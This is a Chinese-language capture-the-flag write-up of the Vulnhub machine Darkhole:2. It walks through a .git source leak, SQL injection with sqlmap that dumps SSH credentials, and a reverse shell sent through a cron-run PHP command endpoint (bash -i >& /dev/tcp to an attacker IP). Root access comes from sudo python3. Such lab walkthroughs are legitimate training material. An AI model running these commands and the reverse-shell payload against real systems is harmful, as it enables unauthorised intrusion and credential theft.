【Vulnhub】Darkhole:2
Darkhole:2
Description
Difficulty:Hard
Hint: Don't waste your time For Brute-Force【提示别浪费时间去暴力破解了...】
信息收集
fscan 扫描内网确定靶机 IP
./fscan -h 192.168.1.1-255

目标 IP 为:192.168.1.2
nmap 扫描端口和服务
nmap -A -sV -p- 192.168.1.2

开放了 22、80端口(另外看到扫描出来有 .get 目录,源码泄露)
先查看 80 端口网页

源码没什么信息,右上角一个登录按钮,点击

显示用邮箱登录,也没有注册账号的地方(注册账号并越权的想法pass)
dirsearch 扫描
dirsearch -u http://192.168.1.2

漏洞扫描
这里其实算是有两个漏洞了,分别是 .git 泄露 和 .idea 泄露
我们先来看 .git 目录

逐个查看

这里面说 他将 login.php 文件变的更安全了
使用工具 arthaud/git-dumper 下载 git 文件夹到 hackup 文件夹
python git_dumper.py http://192.168.1.2/.git/ ~/website

进入 目标IP 文件夹
查看 config/config.php 文件,得到数据库的用户名和密码:root/darkhole_2,但是 localhost 才能访问

然后有一个 login.php 文件,查看到登录页面验证代码,但是对输入的 email 和 password 进行了过滤,并且有 and id = 1,sql注入不了

别的文件没有什么信息了。。。
git log 列出所有历史日志记录

可以看到出现了三次提交,还有哈希值,作者,时间 这些信息,Author 都是同一个人,但是 commit 的是不同的哈希值
因此使用 git diff 对比这三次提交的哈希值
git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

可以看到出现了账号密码:lush@admin.com/321
[!CAUTION]
这里要特别说明一下,我其实最开始用的 lijiejie/GitHack 来获取 git 源码的,但是发现 git log 后得不到想要的结果,于是便研究了一下,,,
我在 GitHack 获取到的源码目录中使用 git branch -a 查看了所有分支,发现存在两个分支 master(本地) 和 origin/master(远程),之后 git log 发现本地分支和远程分支的结果是一样的,,,既然 .git 目录既不存在目录不完整或者同步不一致的情况,也不存在多个 .git 目录的情况,就只可能是目标进行了 git rebase、git filter-branch 或者 git reset 操作,重写了提交历史,,,
然而我通过 git log --oneline、git reflog、git fsck --ful、cat .git/ORIG_HEAD 等方式验证发现并没有历史篡改的痕迹,,,
最后经过文件对比发现 GitHack 获取到的源码不完整...
登录

登录进入页面之后,发现只有一个提交按钮,不过此时url为:http://192.168.1.2/dashboard.php?id=1,改变一下参数试试能不能越权或者sql注入(emmmm我将id改为2之后虽然进入别的用户页面了,但是没啥用啊,这页面也没有上传之类的功能。。。)
那么就尝试sql注入呗
我这里用 burpsuite 抓了个包,将数据包放进 request.txt

然后放进 sqlmap 跑了一下
python sqlmap.py -r request.txt
存在注入点!得到结果:

列出所有数据库
python sqlmap.py -r request.txt --dbs

得到 darkhole_2,information_schema,mysql,performance_schema,sys 五个数据库
列出 darkhole_2 数据库中的所有数据表
python sqlmap.py -r request.txt -D darkhole_2 --tables

得到 ssh,users 两个数据表
检索 darkhole_2 数据库中 ssh 数据表的所有内容
python sqlmap.py -r request.txt -D darkhole_2 -T ssh -a
这里 sqlmap 自动对密码进行爆破了

得到 ssh 连接用户名/密码为:jehad/fool

连接成功!
提权

这里发现 jehad 不是 root 用户,而且用户目录里面什么都没有。。。
查找系统中所有具有 SUID 权限的文件
find / -user root -perm -4000 -print 2>/dev/null
但是没有可以用的,,,
查看定时任务
cat /etc/crontab

发现 losy 用户有一个定时任务:每分钟在 /opt/web 目录下启动一个 PHP 本地服务器,监听 localhost 上的端口 9999
尝试本地回环一下

发现接受参数cmd,并且执行命令
那就制作一个url编码后的 payload 进行 getshell 呗
bash -c 'bash -i >& /dev/tcp/192.168.1.8/6789 0>&1' URL编码成 bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.1.8%2f6789+0%3e%261%27
curl "http://127.0.0.1:9999/?cmd=bash+-c+%27bash+ i+%3e%26+%2fdev%2ftcp%2f192.168.1.8%2f6789+0%3e%261%27"
然后 kali 监听 6789 端口

发现在 losy 用户目录存在 user.txt 获取到flag

之后查看历史命令发现重点信息。。。
cat .bash_history

其中一个是 losy 的ssh密码为 gang
那么换成 ssh 连接吧

然后继续看 history,有发现执行过 sudo -l 还有 sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")' 这种提权命令。。。
先 sudo -l 查看一下

发现 losy 是可以 root 执行 /usr/bin/python3 的
执行提权命令
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

果然成功了!并且获取到 root.txt 的 flag
总结
对我而言...
这里面有一个难点,就是 git log 那一部分,最开始用 GitHack 困了很长时间,不过确实有所成长
然后进入网站之后,跑sqlmap,ssh连接,看定时任务,反弹shell,最后提权这一套流程好像称不上 hard


浙公网安备 33010602011771号